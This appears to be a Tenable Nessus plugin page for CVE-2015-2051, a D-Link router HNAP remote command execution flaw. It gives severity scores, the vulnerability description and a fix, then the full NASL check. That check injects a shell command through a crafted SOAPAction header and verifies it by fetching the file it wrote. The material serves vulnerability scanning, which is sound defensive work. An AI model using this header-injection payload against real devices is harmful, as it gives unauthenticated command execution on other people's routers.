Lucene search

K
nessusThis script is Copyright (C) 2015-2023 and is owned by Tenable, Inc. or an Affiliate thereof.DLINK_CVE-2015-2051.NASL
HistoryJun 10, 2015 - 12:00 a.m.

D-Link Router HNAP GetDeviceSettings Remote Command Execution

2015-06-1000:00:00
This script is Copyright (C) 2015-2023 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
932

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%

The remote D-Link device is affected by a remote command execution vulnerability due to a flaw in the GetDeviceSettings functionality of the HNAP (Home Network Administration Protocol) server. A remote attacker can exploit this, via a crafted SOAPAction header, to bypass authentication and inject arbitrary commands.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(84086);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");

  script_cve_id("CVE-2015-2051");
  script_bugtraq_id(74870);
  script_xref(name:"EDB-ID", value:"37171");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/08/10");

  script_name(english:"D-Link Router HNAP GetDeviceSettings Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote D-Link device is affected by a remote command execution
vulnerability due to a flaw in the GetDeviceSettings functionality of
the HNAP (Home Network Administration Protocol) server. A remote
attacker can exploit this, via a crafted SOAPAction header, to bypass
authentication and inject arbitrary commands.");
  # http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?659398bc");
  script_set_attribute(attribute:"solution", value:
"Upgrade the firmware of the device to version 1.05b01.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-2051");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/04/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:d-link:dir-645");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, embedded:TRUE);

# Verify that this is a d-link device with HNAP
# before we go any further. (Pro-tip: HNAP isn't
# something that can be easily turned off)
res = http_send_recv3(
  method       : "GET",
  port         : port,
  item         : "/HNAP1/",
  exit_on_fail : TRUE
);

if (
  # Ensure vendor is D-Link
  "<VendorName>D-Link</VendorName>" >!< res[2] ||
  # and that the SOAPAction we'll be calling is there
  "<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>" >!< res[2]
) exit(0, "The device is not an affected D-Link product " +
          "or does not have the affected HNAP function accessible " +
          "from port " + port);

dir = '/HNAP1/';
file = 'nessus_scan.html';

# Command to create a web accessible file on the host
exploit_result = "dlink_cve-2015-2051.nasl " + rand_str(length:10) + " " + unixtime();
exploit_command = 'echo "' + exploit_result + '" > ' + file;

# Notes about the http_send_recv3() call:
# 1. The add_headers arg is crafted to ensure that the
#    Content-Length header is placed before the SOAPAction
#    header.
# 2. There is no exit_on_fail argument because the device
#    does not respond to the exploit request. To confirm
#    the vulnerability, we check for the file we created.
res = http_send_recv3(
  method       : "POST",
  item         : dir,
  port         : port,
  add_headers  : make_array(
    "Content-Length", '1\r\n' +
    "SOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/1;" + exploit_command + ';'
  )
);

# This is used in the report later
exploit_request = http_last_sent_request();

# Check if the file was uploaded successfully
res = NULL;
res = http_send_recv3(
  method: "GET",
  item: dir + file,
  port: port,
  exit_on_fail:TRUE
);

# NOTE: This plugin does not attempt to delete the file
#       on the off-chance that the rm command goes awry.

if (exploit_result >< res[2])
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    cmd         : exploit_command,
    request     : make_list(exploit_request, build_url(qs:dir+file, port:port)),
    output      : chomp(res[2]),
    rep_extra   : '\nNote that this file has not been removed by Nessus and will need to be' +
                  ' removed manually (' + dir + file + ').'
  );
}
else audit(AUDIT_HOST_NOT, "vulnerable on port " + port);
VendorProductVersionCPE
d-linkdir-645cpe:/h:d-link:dir-645

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%